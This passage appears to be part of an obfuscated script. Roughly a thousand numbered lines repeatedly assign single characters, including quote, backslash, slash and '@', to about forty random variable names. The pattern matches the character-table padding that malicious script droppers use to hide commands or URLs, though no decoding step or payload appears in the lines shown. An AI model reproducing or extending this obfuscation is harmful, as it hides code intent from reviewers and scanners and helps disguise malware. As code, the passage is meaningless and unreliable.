410	vkbydoul = "T";
411	vkbydoul = "k";
412	vkbydoul = "P";
413	vkbydoul = "r";
414	vkbydoul = "T";
415	vkbydoul = "n";
416	vkbydoul = "Y";
417	vkbydoul = "k";
418	mrfmwh = "q";
419	mrfmwh = "I";
420	mrfmwh = "S";
421	mrfmwh = "O";
422	mrfmwh = "g";
423	mrfmwh = "i";
424	mrfmwh = "m";
425	mrfmwh = "t";
426	mrfmwh = "G";
427	mrfmwh = "M";
428	mrfmwh = "c";
429	mrfmwh = "s";
430	mrfmwh = "t";
431	mrfmwh = "J";
432	mrfmwh = "X";
433	mrfmwh = "r";
434	mrfmwh = "Q";
435	mrfmwh = "s";
436	mrfmwh = "Z";
437	mrfmwh = "u";
438	mrfmwh = "D";
439	mrfmwh = "W";
440	mrfmwh = "A";
441	mrfmwh = "q";
442	mrfmwh = "Q";
443	mrfmwh = "l";
444	mrfmwh = "y";
445	mrfmwh = "x";
446	mrfmwh = "V";
447	mrfmwh = "I";
448	mrfmwh = "u";
449	mrfmwh = "w";
450	mrfmwh = "D";
451	mrfmwh = "T";
452	mrfmwh = "s";
453	mrfmwh = "o";
454	mrfmwh = "V";
455	mrfmwh = "H";
456	mrfmwh = "g";
457	oyrhkymn = "E";
458	oyrhkymn = "P";
459	oyrhkymn = "b";
460	oyrhkymn = "T";
461	oyrhkymn = "e";
462	oyrhkymn = "K";
463	oyrhkymn = "z";
464	oyrhkymn = "q";
465	oyrhkymn = "S";
466	oyrhkymn = "s";
467	oyrhkymn = "z";
468	oyrhkymn = "f";
469	oyrhkymn = "I";
470	oyrhkymn = "h";
471	oyrhkymn = "F";
472	oyrhkymn = "H";
473	oyrhkymn = "J";
474	oyrhkymn = "h";
475	oyrhkymn = "V";
476	oyrhkymn = "a";
477	oyrhkymn = "x";
478	oyrhkymn = "R";
479	oyrhkymn = "e";
480	oyrhkymn = "v";
481	oyrhkymn = "z";
482	oyrhkymn = "w";
483	jdydxp = "E";
484	jdydxp = "j";
485	jdydxp = "c";
486	jdydxp = "s";
487	jdydxp = "x";
488	jdydxp = "Y";
489	jdydxp = "i";
490	jdydxp = "v";
491	jdydxp = "s";
492	jdydxp = "X";
493	jdydxp = "q";
494	jdydxp = "S";
495	jdydxp = "N";
496	jdydxp = "T";
497	jdydxp = "S";
498	jdydxp = "d";
499	jdydxp = "h";
500	jdydxp = "h";
501	jdydxp = "I";
502	jdydxp = "W";
503	jdydxp = "h";
504	jdydxp = "t";
505	jdydxp = "l";
506	jdydxp = "s";
507	jdydxp = "c";
508	jdydxp = "G";
509	jdydxp = "I";
510	jdydxp = "H";
511	jdydxp = "H";
512	jdydxp = "T";
513	jdydxp = "m";
514	jdydxp = "h";
515	jdydxp = "U";
516	jdydxp = "b";
517	jdydxp = "u";
518	jdydxp = "l";
519	jdydxp = "Q";
520	jdydxp = "x";
521	dldmykm = "W";
522	dldmykm = "t";
523	dldmykm = "q";
524	dldmykm = "P";
525	dldmykm = "N";
526	dldmykm = "_";
527	dmsaoifa = "S";
528	dmsaoifa = "h";
529	dmsaoifa = "V";
530	dmsaoifa = "S";
531	dmsaoifa = "X";
532	dmsaoifa = "C";
533	dmsaoifa = "I";
534	dmsaoifa = "v";
535	dmsaoifa = "b";
536	dmsaoifa = "C";
537	dmsaoifa = "Z";
538	dmsaoifa = "J";
539	dmsaoifa = "j";
540	dmsaoifa = "k";
541	dmsaoifa = "l";
542	dmsaoifa = "A";
543	dmsaoifa = "p";
544	dmsaoifa = "A";
545	dmsaoifa = "S";
546	dmsaoifa = "H";
547	dmsaoifa = "A";
548	dmsaoifa = "b";
549	dmsaoifa = "E";
550	dmsaoifa = "R";
551	dmsaoifa = "J";
552	dmsaoifa = "S";
553	dmsaoifa = "p";
554	dmsaoifa = "z";
555	dmsaoifa = "D";
556	dmsaoifa = "w";
557	dmsaoifa = "q";
558	dmsaoifa = "a";
559	dmsaoifa = "t";
560	dmsaoifa = "e";
561	dmsaoifa = "j";
562	dmsaoifa = "e";
563	dmsaoifa = "D";
564	dmsaoifa = "y";
565	dmsaoifa = "H";
566	dmsaoifa = "E";
567	dmsaoifa = "g";
568	dmsaoifa = "O";
569	dmsaoifa = "y";
570	dmsaoifa = "x";
571	dmsaoifa = "r";
572	gcwrtw = "O";
573	gcwrtw = "S";
574	gcwrtw = "L";
575	gcwrtw = "J";
576	gcwrtw = "v";
577	gcwrtw = "O";
578	gcwrtw = "G";
579	gcwrtw = "N";
580	gcwrtw = "V";
581	gcwrtw = "P";
582	gcwrtw = "B";
583	gcwrtw = "X";
584	gcwrtw = "V";
585	gcwrtw = "Q";
586	gcwrtw = "a";
587	gcwrtw = "D";
588	gcwrtw = "k";
589	gcwrtw = "u";
590	gcwrtw = "H";
591	gcwrtw = "Z";
592	gcwrtw = "E";
593	gcwrtw = "J";
594	gcwrtw = "F";
595	gcwrtw = "i";
596	gcwrtw = "R";
597	gcwrtw = "g";
598	gcwrtw = "r";
599	gcwrtw = "H";
600	gcwrtw = "e";
601	gcwrtw = "Y";
602	gcwrtw = "I";
603	gcwrtw = "g";
604	gcwrtw = "S";
605	gcwrtw = "g";
606	gcwrtw = "l";
607	gcwrtw = "T";
608	gcwrtw = "j";
609	gcwrtw = "i";
610	gcwrtw = "Z";
611	gcwrtw = "k";
612	gcwrtw = "w";
613	gcwrtw = "E";
614	gcwrtw = "M";
615	gcwrtw = "r";
616	gcwrtw = "S";
617	kwibdogp = "E";
618	kwibdogp = "N";
619	kwibdogp = "l";
620	kwibdogp = "f";
621	kwibdogp = "d";
622	kwibdogp = "x";
623	kwibdogp = "d";
624	kwibdogp = "M";
625	kwibdogp = "k";
626	kwibdogp = "d";
627	kwibdogp = "H";
628	kwibdogp = "u";
629	kwibdogp = "K";
630	kwibdogp = "S";
631	kwibdogp = "p";
632	kwibdogp = "X";
633	kwibdogp = "a";
634	kwibdogp = "S";
635	kwibdogp = "X";
636	kwibdogp = "N";
637	kwibdogp = "D";
638	kwibdogp = "i";
639	kwibdogp = "A";
640	kwibdogp = "L";
641	kwibdogp = "i";
642	kwibdogp = "P";
643	kwibdogp = "h";
644	kwibdogp = "p";
645	kwibdogp = "u";
646	kwibdogp = "H";
647	kwibdogp = "t";
648	kwibdogp = "I";
649	kwibdogp = "w";
650	kwibdogp = "J";
651	kwibdogp = "E";
652	kwibdogp = "p";
653	kwibdogp = "P";
654	kwibdogp = "j";
655	kwibdogp = "e";
656	kwibdogp = "K";
657	kwibdogp = "J";
658	kwibdogp = "f";
659	kwibdogp = "Q";
660	nbqhlzbf = "A";
661	nbqhlzbf = "U";
662	nbqhlzbf = "X";
663	nbqhlzbf = "x";
664	nbqhlzbf = "x";
665	nbqhlzbf = "z";
666	nbqhlzbf = "f";
667	qilux = "E";
668	qilux = "u";
669	qilux = "l";
670	qilux = "N";
671	qilux = "k";
672	qilux = "C";
673	tmogtmv = "P";
674	tmogtmv = "K";
675	tmogtmv = "y";
676	tmogtmv = "d";
677	tmogtmv = "N";
678	tmogtmv = "x";
679	tmogtmv = "p";
680	tmogtmv = "T";
681	tmogtmv = "v";
682	tmogtmv = "Z";
683	tmogtmv = "R";
684	tmogtmv = "e";
685	tmogtmv = "X";
686	tmogtmv = "s";
687	tmogtmv = "k";
688	tmogtmv = "N";
689	tmogtmv = "p";
690	tmogtmv = "D";
691	tmogtmv = "r";
692	tmogtmv = "b";
693	tmogtmv = "Z";
694	tmogtmv = "e";
695	tmogtmv = "l";
696	tmogtmv = "s";
697	tmogtmv = "W";
698	tmogtmv = "a";
699	tmogtmv = "k";
700	tmogtmv = "L";
701	tmogtmv = "v";
702	tmogtmv = "-";
703	tftwwo = "Z";
704	tftwwo = "b";
705	tftwwo = "k";
706	tftwwo = "h";
707	tftwwo = "Q";
708	tftwwo = "z";
709	tftwwo = "i";
710	tftwwo = "Q";
711	tftwwo = "J";
712	tftwwo = "x";
713	tftwwo = "W";
714	tftwwo = "l";
715	tftwwo = "r";
716	tftwwo = "6";
717	ovxxn = "d";
718	ovxxn = "l";
719	ovxxn = "U";
720	ovxxn = "U";
721	ovxxn = "v";
722	ovxxn = "k";
723	ovxxn = "z";
724	ovxxn = "i";
725	ovxxn = "A";
726	ovxxn = "r";
727	ovxxn = "o";
728	ovxxn = "E";
729	ovxxn = "o";
730	ovxxn = "P";
731	ovxxn = "j";
732	ovxxn = "a";
733	ovxxn = "j";
734	ovxxn = "F";
735	ovxxn = "e";
736	ovxxn = "Y";
737	ovxxn = "a";
738	ovxxn = "t";
739	ovxxn = "A";
740	ovxxn = "n";
741	ovxxn = "H";
742	ovxxn = "C";
743	ovxxn = "D";
744	ovxxn = "d";
745	ovxxn = "E";
746	ovxxn = "S";
747	ovxxn = "y";
748	ovxxn = "a";
749	ovxxn = "q";
750	ovxxn = "C";
751	ovxxn = "x";
752	ovxxn = "T";
753	nfija = "Y";
754	nfija = "F";
755	nfija = "J";
756	nfija = "X";
757	nfija = "m";
758	nfija = "L";
759	nfija = "t";
760	nfija = "c";
761	nfija = "r";
762	nfija = "a";
763	nfija = "C";
764	nfija = "q";
765	nfija = "q";
766	nfija = "E";
767	nfija = "O";
768	nfija = "r";
769	nfija = "R";
770	nfija = "u";
771	nfija = "p";
772	nfija = "r";
773	nfija = "p";
774	nfija = "D";
775	nfija = "q";
776	nfija = "S";
777	nfija = "g";
778	nfija = "a";
779	nfija = "H";
780	nfija = "a";
781	nfija = "i";
782	nfija = "X";
783	nfija = "t";
784	nfija = "u";
785	xeaqz = "Q";
786	xeaqz = "M";
787	xeaqz = "E";
788	xeaqz = "O";
789	xeaqz = "z";
790	xeaqz = "C";
791	xeaqz = "C";
792	xeaqz = "e";
793	xeaqz = "v";
794	xeaqz = "n";
795	xeaqz = "d";
796	xeaqz = "a";
797	xeaqz = "a";
798	xeaqz = "J";
799	xeaqz = "q";
800	xeaqz = "i";
801	xeaqz = "w";
802	xeaqz = "p";
803	xeaqz = "q";
804	xeaqz = "n";
805	xeaqz = "u";
806	xeaqz = "t";
807	xeaqz = "n";
808	xeaqz = "c";
809	xeaqz = "s";
810	xeaqz = "N";
811	xeaqz = "I";
812	xeaqz = "p";
813	xeaqz = "V";
814	xeaqz = "X";
815	xeaqz = "k";
816	xeaqz = "e";
817	xeaqz = "x";
818	xeaqz = "N";
819	xeaqz = "H";
820	xeaqz = "K";
821	xeaqz = "q";
822	xeaqz = "Y";
823	xeaqz = "x";
824	xeaqz = "O";
825	xeaqz = "f";
826	xeaqz = "F";
827	xeaqz = "H";
828	svrwjtu = "Y";
829	svrwjtu = "m";
830	svrwjtu = "G";
831	svrwjtu = "s";
832	svrwjtu = "T";
833	svrwjtu = "J";
834	svrwjtu = "U";
835	svrwjtu = "v";
836	svrwjtu = "R";
837	svrwjtu = "e";
838	svrwjtu = "X";
839	svrwjtu = "c";
840	svrwjtu = "E";
841	svrwjtu = "K";
842	svrwjtu = "V";
843	svrwjtu = "B";
844	svrwjtu = "m";
845	svrwjtu = "d";
846	svrwjtu = "d";
847	pdjqvkuzg = "Z";
848	pdjqvkuzg = "O";
849	pdjqvkuzg = "v";
850	pdjqvkuzg = "k";
851	pdjqvkuzg = "c";
852	pdjqvkuzg = "Q";
853	pdjqvkuzg = "P";
854	pdjqvkuzg = "E";
855	pdjqvkuzg = "O";
856	pdjqvkuzg = "d";
857	pdjqvkuzg = "W";
858	pdjqvkuzg = "g";
859	pdjqvkuzg = "N";
860	pdjqvkuzg = "h";
861	pdjqvkuzg = "P";
862	zkbndr = "q";
863	zkbndr = "Z";
864	zkbndr = "F";
865	zkbndr = "b";
866	zkbndr = "E";
867	zkbndr = "z";
868	zkbndr = "v";
869	zkbndr = "t";
870	zkbndr = "R";
871	zkbndr = "S";
872	zkbndr = "Y";
873	zkbndr = "c";
874	zkbndr = "v";
875	zkbndr = "K";
876	zkbndr = "h";
877	zkbndr = "M";
878	zkbndr = "j";
879	zkbndr = "k";
880	zkbndr = "D";
881	zkbndr = "x";
882	zkbndr = "d";
883	zkbndr = "z";
884	zkbndr = "H";
885	zkbndr = "X";
886	zkbndr = "J";
887	zkbndr = "l";
888	zkbndr = "A";
889	zkbndr = "t";
890	zkbndr = "i";
891	zkbndr = "k";
892	zkbndr = "I";
893	zkbndr = "k";
894	zkbndr = "e";
895	zkbndr = "o";
896	zkbndr = "a";
897	zkbndr = "l";
898	zkbndr = "I";
899	zkbndr = "\"";
900	ojxtrqmj = "U";
901	ojxtrqmj = "s";
902	ojxtrqmj = "f";
903	ojxtrqmj = "k";
904	ojxtrqmj = "J";
905	ojxtrqmj = "o";
906	ojxtrqmj = "U";
907	ojxtrqmj = "P";
908	ojxtrqmj = "Y";
909	ojxtrqmj = "Q";
910	ojxtrqmj = "A";
911	ojxtrqmj = "p";
912	ojxtrqmj = "l";
913	ojxtrqmj = "w";
914	ojxtrqmj = "e";
915	ojxtrqmj = "e";
916	ojxtrqmj = "y";
917	ojxtrqmj = "N";
918	ojxtrqmj = "u";
919	ojxtrqmj = "I";
920	ojxtrqmj = "D";
921	ojxtrqmj = "U";
922	ojxtrqmj = "L";
923	ojxtrqmj = "r";
924	ojxtrqmj = "G";
925	ojxtrqmj = "g";
926	ojxtrqmj = "L";
927	ojxtrqmj = "E";
928	ojxtrqmj = "I";
929	ojxtrqmj = "V";
930	ojxtrqmj = "S";
931	ojxtrqmj = "L";
932	ojxtrqmj = "T";
933	ojxtrqmj = "i";
934	ojxtrqmj = "O";
935	ojxtrqmj = "D";
936	ojxtrqmj = "K";
937	ojxtrqmj = "n";
938	ojxtrqmj = "F";
939	ojxtrqmj = "X";
940	ojxtrqmj = "M";
941	ojxtrqmj = "c";
942	ojxtrqmj = "f";
943	ojxtrqmj = "J";
944	ojxtrqmj = "K";
945	idtoub = "E";
946	idtoub = "A";
947	idtoub = "g";
948	idtoub = "K";
949	idtoub = "Y";
950	idtoub = "z";
951	idtoub = "a";
952	idtoub = "y";
953	idtoub = "I";
954	idtoub = "i";
955	idtoub = "a";
956	idtoub = "x";
957	idtoub = "R";
958	idtoub = "w";
959	idtoub = "t";
960	idtoub = "y";
961	idtoub = "f";
962	idtoub = "e";
963	idtoub = "V";
964	idtoub = "k";
965	idtoub = "C";
966	idtoub = "V";
967	idtoub = "i";
968	idtoub = "d";
969	idtoub = "n";
970	idtoub = "J";
971	idtoub = "R";
972	idtoub = "N";
973	idtoub = "V";
974	idtoub = "e";
975	idtoub = "X";
976	idtoub = "a";
977	idtoub = "H";
978	idtoub = "e";
979	idtoub = "y";
980	idtoub = "E";
981	idtoub = "t";
982	idtoub = "F";
983	yjhaz = "d";
984	yjhaz = "d";
985	yjhaz = "Q";
986	yjhaz = "y";
987	yjhaz = "w";
988	yjhaz = "A";
989	yjhaz = "b";
990	yjhaz = "v";
991	yjhaz = "h";
992	yjhaz = "j";
993	yjhaz = "w";
994	yjhaz = "u";
995	yjhaz = "t";
996	yjhaz = "f";
997	yjhaz = "J";
998	yjhaz = "x";
999	yjhaz = "T";
1000	yjhaz = "n";
1001	yjhaz = "x";
1002	yjhaz = "l";
1003	yjhaz = "o";
1004	yjhaz = "g";
1005	yjhaz = "y";
1006	yjhaz = "w";
1007	yjhaz = "J";
1008	yjhaz = "C";
1009	yjhaz = "t";
1010	yjhaz = "U";
1011	vifbwlowp = " ";
1012	sschvxues = "F";
1013	sschvxues = "D";
1014	sschvxues = "F";
1015	sschvxues = "Y";
1016	sschvxues = "y";
1017	sschvxues = "x";
1018	sschvxues = "j";
1019	sschvxues = "y";
1020	sschvxues = "U";
1021	sschvxues = "E";
1022	sschvxues = "W";
1023	sschvxues = "z";
1024	sschvxues = "Y";
1025	sschvxues = "X";
1026	sschvxues = "C";
1027	sschvxues = "n";
1028	sschvxues = "Y";
1029	sschvxues = "C";
1030	sschvxues = "o";
1031	mjmqmwkjj = "P";
1032	mjmqmwkjj = "V";
1033	mjmqmwkjj = "A";
1034	mjmqmwkjj = "o";
1035	mjmqmwkjj = "S";
1036	mjmqmwkjj = "p";
1037	mjmqmwkjj = "w";
1038	mjmqmwkjj = "x";
1039	mjmqmwkjj = "P";
1040	mjmqmwkjj = "O";
1041	mjmqmwkjj = "s";
1042	mjmqmwkjj = "v";
1043	oedzxc = "P";
1044	oedzxc = "D";
1045	oedzxc = "H";
1046	oedzxc = "g";
1047	oedzxc = "l";
1048	oedzxc = "f";
1049	oedzxc = "n";
1050	oedzxc = "n";
1051	oedzxc = "N";
1052	oedzxc = "E";
1053	oedzxc = "j";
1054	oedzxc = "Y";
1055	oedzxc = "s";
1056	oedzxc = "S";
1057	oedzxc = "D";
1058	oedzxc = "M";
1059	oedzxc = "q";
1060	oedzxc = "t";
1061	oedzxc = "N";
1062	oedzxc = "p";
1063	oedzxc = "B";
1064	oedzxc = "g";
1065	oedzxc = "J";
1066	oedzxc = "q";
1067	oedzxc = "H";
1068	oedzxc = "e";
1069	oedzxc = "L";
1070	oedzxc = "E";
1071	rcenxnja = "o";
1072	rcenxnja = "A";
1073	rcenxnja = "O";
1074	rcenxnja = "Q";
1075	rcenxnja = "i";
1076	rcenxnja = "b";
1077	rcenxnja = "l";
1078	rcenxnja = "w";
1079	rcenxnja = "D";
1080	rcenxnja = "K";
1081	rcenxnja = "d";
1082	rcenxnja = "r";
1083	rcenxnja = "@";
1084	ofpipghzu = "V";
1085	ofpipghzu = "S";
1086	ofpipghzu = "L";
1087	ofpipghzu = "d";
1088	ofpipghzu = "P";
1089	ofpipghzu = "y";
1090	ofpipghzu = "E";
1091	ofpipghzu = "p";
1092	ofpipghzu = "k";
1093	ofpipghzu = "r";
1094	ofpipghzu = "M";
1095	ofpipghzu = "P";
1096	ofpipghzu = "h";
1097	ofpipghzu = "k";
1098	ofpipghzu = "J";
1099	ofpipghzu = "g";
1100	ofpipghzu = "K";
1101	ofpipghzu = "s";
1102	ofpipghzu = "H";
1103	ofpipghzu = "P";
1104	ofpipghzu = "v";
1105	ofpipghzu = "o";
1106	ofpipghzu = "m";
1107	ofpipghzu = "j";
1108	ofpipghzu = "Y";
1109	ofpipghzu = "Z";
1110	ofpipghzu = "k";
1111	ofpipghzu = "z";
1112	ofpipghzu = "W";
1113	ofpipghzu = "L";
1114	ofpipghzu = "j";
1115	ofpipghzu = "V";
1116	ofpipghzu = "V";
1117	ofpipghzu = "f";
1118	ofpipghzu = "s";
1119	ofpipghzu = "t";
1120	ofpipghzu = "w";
1121	ofpipghzu = "q";
1122	mtzizjhxp = "w";
1123	mtzizjhxp = "g";
1124	mtzizjhxp = "B";
1125	mtzizjhxp = "p";
1126	mtzizjhxp = "s";
1127	mtzizjhxp = "a";
1128	mtzizjhxp = "u";
1129	mtzizjhxp = "P";
1130	mtzizjhxp = "p";
1131	mtzizjhxp = "G";
1132	mtzizjhxp = "D";
1133	mtzizjhxp = "D";
1134	mtzizjhxp = "l";
1135	mtzizjhxp = "s";
1136	mtzizjhxp = "E";
1137	mtzizjhxp = "X";
1138	mtzizjhxp = "q";
1139	mtzizjhxp = "f";
1140	mtzizjhxp = "A";
1141	mtzizjhxp = "a";
1142	mtzizjhxp = "u";
1143	mtzizjhxp = "z";
1144	mtzizjhxp = "j";
1145	mtzizjhxp = "b";
1146	mtzizjhxp = "F";
1147	mtzizjhxp = "r";
1148	mtzizjhxp = "E";
1149	mtzizjhxp = "t";
1150	fgdjxltse = "V";
1151	fgdjxltse = "H";
1152	fgdjxltse = "X";
1153	fgdjxltse = "O";
1154	zivegx = "e";
1155	zivegx = "A";
1156	zivegx = "C";
1157	zivegx = "c";
1158	zivegx = "q";
1159	zivegx = "B";
1160	zivegx = "Y";
1161	zivegx = "e";
1162	zivegx = "R";
1163	zivegx = "c";
1164	zivegx = "j";
1165	zivegx = "g";
1166	zivegx = "Q";
1167	zivegx = "X";
1168	zivegx = "P";
1169	zivegx = "B";
1170	zivegx = "w";
1171	zivegx = "o";
1172	zivegx = "j";
1173	xspzsxl = "l";
1174	xspzsxl = "m";
1175	xspzsxl = "b";
1176	cbqnsj = "n";
1177	cbqnsj = "X";
1178	cbqnsj = "A";
1179	cbqnsj = "o";
1180	cbqnsj = "C";
1181	cbqnsj = "G";
1182	cbqnsj = "h";
1183	cbqnsj = "p";
1184	cbqnsj = "f";
1185	cbqnsj = "D";
1186	cbqnsj = "T";
1187	cbqnsj = "f";
1188	cbqnsj = "I";
1189	cbqnsj = "L";
1190	cbqnsj = "C";
1191	cbqnsj = "V";
1192	cbqnsj = "b";
1193	cbqnsj = "S";
1194	cbqnsj = "N";
1195	cbqnsj = "D";
1196	cbqnsj = "o";
1197	cbqnsj = "m";
1198	cbqnsj = "i";
1199	cbqnsj = "V";
1200	cbqnsj = "c";
1201	cbqnsj = "p";
1202	cbqnsj = "V";
1203	cbqnsj = "v";
1204	cbqnsj = "e";
1205	cbqnsj = "I";
1206	cbqnsj = "z";
1207	cbqnsj = "I";
1208	cbqnsj = "C";
1209	cbqnsj = "F";
1210	cbqnsj = "k";
1211	cbqnsj = "O";
1212	cbqnsj = "j";
1213	cbqnsj = "l";
1214	cbqnsj = "U";
1215	cbqnsj = "Q";
1216	cbqnsj = "z";
1217	cbqnsj = "1";
1218	eiupsmok = "D";
1219	eiupsmok = "j";
1220	eiupsmok = "d";
1221	eiupsmok = "G";
1222	eiupsmok = "f";
1223	eiupsmok = "I";
1224	eiupsmok = "i";
1225	eiupsmok = "N";
1226	eiupsmok = "h";
1227	isvua = "w";
1228	isvua = "j";
1229	isvua = "S";
1230	isvua = "Z";
1231	isvua = "t";
1232	isvua = "Q";
1233	isvua = "p";
1234	isvua = "w";
1235	isvua = "n";
1236	isvua = "g";
1237	isvua = "H";
1238	isvua = "w";
1239	isvua = "H";
1240	isvua = "L";
1241	isvua = "H";
1242	isvua = "S";
1243	isvua = "m";
1244	isvua = "C";
1245	isvua = "D";
1246	isvua = "g";
1247	isvua = "n";
1248	isvua = "N";
1249	isvua = "E";
1250	isvua = "X";
1251	isvua = "i";
1252	isvua = "s";
1253	xlrld = "f";
1254	xlrld = "\\";
1255	rzrccvpx = "G";
1256	rzrccvpx = "F";
1257	rzrccvpx = "C";
1258	rzrccvpx = "z";
1259	rzrccvpx = "G";
1260	rzrccvpx = "X";
1261	rzrccvpx = "P";
1262	rzrccvpx = "E";
1263	rzrccvpx = "x";
1264	rzrccvpx = "z";
1265	rzrccvpx = "p";
1266	rzrccvpx = "a";
1267	rzrccvpx = "o";
1268	rzrccvpx = "r";
1269	rzrccvpx = "t";
1270	rzrccvpx = "x";
1271	rzrccvpx = "A";
1272	rzrccvpx = "I";
1273	rzrccvpx = "E";
1274	rzrccvpx = "T";
1275	rzrccvpx = "P";
1276	rzrccvpx = "a";
1277	rzrccvpx = "l";
1278	rzrccvpx = "R";
1279	rzrccvpx = "Y";
1280	rzrccvpx = "S";
1281	rzrccvpx = "O";
1282	rzrccvpx = "g";
1283	rzrccvpx = "j";
1284	rzrccvpx = "a";
1285	rzrccvpx = "Y";
1286	rzrccvpx = "z";
1287	rzrccvpx = "B";
1288	rzrccvpx = "k";
1289	rzrccvpx = "h";
1290	rzrccvpx = "0";
1291	ctvcyfu = "E";
1292	ctvcyfu = "z";
1293	ctvcyfu = "W";
1294	ctvcyfu = "o";
1295	ctvcyfu = "d";
1296	ctvcyfu = "Y";
1297	ctvcyfu = "B";
1298	ctvcyfu = "F";
1299	ctvcyfu = "h";
1300	ctvcyfu = "a";
1301	ctvcyfu = "g";
1302	ctvcyfu = "Z";
1303	ctvcyfu = "g";
1304	ctvcyfu = "A";
1305	ctvcyfu = "p";
1306	ctvcyfu = "f";
1307	ctvcyfu = "H";
1308	ctvcyfu = "e";
1309	ctvcyfu = "G";
1310	ctvcyfu = "O";
1311	ctvcyfu = "r";
1312	ctvcyfu = "W";
1313	ctvcyfu = "w";
1314	ctvcyfu = "n";
1315	ctvcyfu = "W";
1316	ctvcyfu = "c";
1317	ctvcyfu = "n";
1318	ctvcyfu = "Z";
1319	ctvcyfu = "n";
1320	ctvcyfu = "M";
1321	ctvcyfu = "P";
1322	ctvcyfu = "k";
1323	ctvcyfu = "d";
1324	ctvcyfu = "F";
1325	ctvcyfu = "v";
1326	ctvcyfu = "L";
1327	nfdnaltz = "T";
1328	nfdnaltz = "S";
1329	nfdnaltz = "s";
1330	nfdnaltz = "S";
1331	nfdnaltz = "K";
1332	nfdnaltz = "V";
1333	nfdnaltz = "v";
1334	nfdnaltz = "o";
1335	nfdnaltz = "o";
1336	nfdnaltz = "b";
1337	nfdnaltz = "U";
1338	nfdnaltz = "P";
1339	nfdnaltz = "x";
1340	nfdnaltz = "F";
1341	nfdnaltz = "9";
1342	kodhoyfx = "X";
1343	kodhoyfx = "o";
1344	kodhoyfx = "K";
1345	kodhoyfx = "m";
1346	kodhoyfx = "Q";
1347	kodhoyfx = "V";
1348	kodhoyfx = "L";
1349	kodhoyfx = "/";
1350	zcebuz = "d";
1351	zcebuz = "J";
1352	zcebuz = "y";
1353	zcebuz = "u";
1354	zcebuz = "M";
1355	zcebuz = "X";
1356	zcebuz = "F";
1357	zcebuz = "A";
1358	zcebuz = "h";
1359	zcebuz = "T";
1360	zcebuz = "z";
1361	zcebuz = "R";
1362	zcebuz = "Z";
1363	zcebuz = "O";
1364	zcebuz = "v";
1365	zcebuz = "R";
1366	zcebuz = "e";
1367	zcebuz = "n";
1368	zcebuz = "j";
1369	zcebuz = "o";
1370	zcebuz = "C";
1371	zcebuz = "l";
1372	zcebuz = "T";
1373	zcebuz = "m";
1374	zcebuz = "x";
1375	zcebuz = "U";
1376	zcebuz = "i";
1377	zcebuz = "N";
1378	zcebuz = "K";
1379	zcebuz = "Y";
1380	zcebuz = "d";
1381	zcebuz = "g";
1382	zcebuz = "X";
1383	zcebuz = "x";
1384	zcebuz = "k";
1385	zcebuz = "q";
1386	zcebuz = "g";
1387	zcebuz = "p";
1388	zcebuz = "J";
1389	zcebuz = "p";
1390	iaxkwohum = "G";
1391	iaxkwohum = "U";
1392	iaxkwohum = "D";
1393	iaxkwohum = "g";
1394	iaxkwohum = "p";
1395	iaxkwohum = "U";
1396	iaxkwohum = "G";
1397	iaxkwohum = "Z";
1398	iaxkwohum = "L";
1399	iaxkwohum = "W";
1400	iaxkwohum = "C";
1401	iaxkwohum = "p";
1402	iaxkwohum = "f";
1403	iaxkwohum = "L";
1404	iaxkwohum = "R";
1405	iaxkwohum = "a";
1406	iaxkwohum = "d";
1407	iaxkwohum = "D";
1408	iaxkwohum = "i";
1409	iaxkwohum = "d";
1410	iaxkwohum = "A";
1411	iaxkwohum = "o";
1412	iaxkwohum = "r";
1413	iaxkwohum = "M";
1414	iaxkwohum = "f";
1415	iaxkwohum = "b";
1416	iaxkwohum = "W";
1417	iaxkwohum = "X";
1418	iaxkwohum = "l";
1419	iaxkwohum = "P";
1420	iaxkwohum = "n";
1421	iaxkwohum = "Q";
1422	iaxkwohum = "T";
1423	iaxkwohum = "p";
1424	iaxkwohum = "e";
1425	rbmvra = "m";
1426	rbmvra = "x";
1427	rbmvra = "B";
1428	rbmvra = "X";
1429	rbmvra = "A";
1430	rbmvra = "v";
1431	rbmvra = "e";
1432	rbmvra = "F";
1433	rbmvra = "N";
1434	rbmvra = "e";
1435	rbmvra = "E";
1436	rbmvra = "t";
1437	rbmvra = "a";
1438	rbmvra = "I";
1439	rbmvra = "w";
1440	rbmvra = "Z";
1441	rbmvra = "W";
1442	rbmvra = "f";
1443	rbmvra = "n";
1444	rbmvra = "S";
1445	rbmvra = "A";
1446	rbmvra = "N";
1447	rbmvra = "V";
1448	rbmvra = "s";
1449	rbmvra = "o";
1450	rbmvra = "B";
1451	rbmvra = "l";
1452	rbmvra = "F";
1453	rbmvra = "U";
1454	rbmvra = "G";
1455	rbmvra = "s";
1456	rbmvra = "b";
1457	rbmvra = "h";
1458	rbmvra = "Y";
1459	rbmvra = "W";
1460	rbmvra = "o";
1461	rbmvra = "V";
1462	rbmvra = "U";
1463	rbmvra = "f";
1464	rbmvra = "l";
1465	rbmvra = "i";
1466	rbmvra = "V";
1467	rbmvra = "w";
1468	rbmvra = "7";
1469	urvemjaql = "n";
1470	urvemjaql = "M";
1471	urvemjaql = "P";
1472	urvemjaql = "q";
1473	urvemjaql = "l";
1474	urvemjaql = "C";
1475	urvemjaql = "S";
1476	urvemjaql = "w";
1477	urvemjaql = "n";
1478	urvemjaql = "g";
1479	urvemjaql = "c";
1480	urvemjaql = "X";
1481	urvemjaql = "d";
1482	urvemjaql = "l";
1483	urvemjaql = "A";
1484	urvemjaql = "q";
1485	urvemjaql = "b";
1486	urvemjaql = "T";
1487	urvemjaql = "R";
1488	urvemjaql = "e";
1489	urvemjaql = "i";
1490	yftdw = "u";
1491	yftdw = "I";
1492	yftdw = "q";
1493	yftdw = "F";
1494	yftdw = "U";
1495	yftdw = "B";
1496	yftdw = "Q";
1497	yftdw = "p";
1498	yftdw = "J";
1499	yftdw = "C";
1500	yftdw = "x";
1501	yftdw = "i";
1502	yftdw = "N";
1503	yftdw = "h";
1504	yftdw = "w";
1505	yftdw = "C";
1506	yftdw = "O";
1507	yftdw = "m";
1508	jyfdmrrfd = "y";
1509	jyfdmrrfd = "u";
1510	jyfdmrrfd = "L";
1511	jyfdmrrfd = "F";
1512	jyfdmrrfd = "p";
1513	jyfdmrrfd = "l";
1514	jyfdmrrfd = "r";
1515	jyfdmrrfd = "e";
1516	jyfdmrrfd = "W";
1517	jyfdmrrfd = "o";
1518	jyfdmrrfd = "E";
1519	jyfdmrrfd = "C";
1520	jyfdmrrfd = "Q";
1521	jyfdmrrfd = "z";
1522	jyfdmrrfd = "k";
1523	jyfdmrrfd = "D";
1524	jyfdmrrfd = "G";
1525	jyfdmrrfd = "k";
1526	jyfdmrrfd = "k";
1527	jyfdmrrfd = "l";
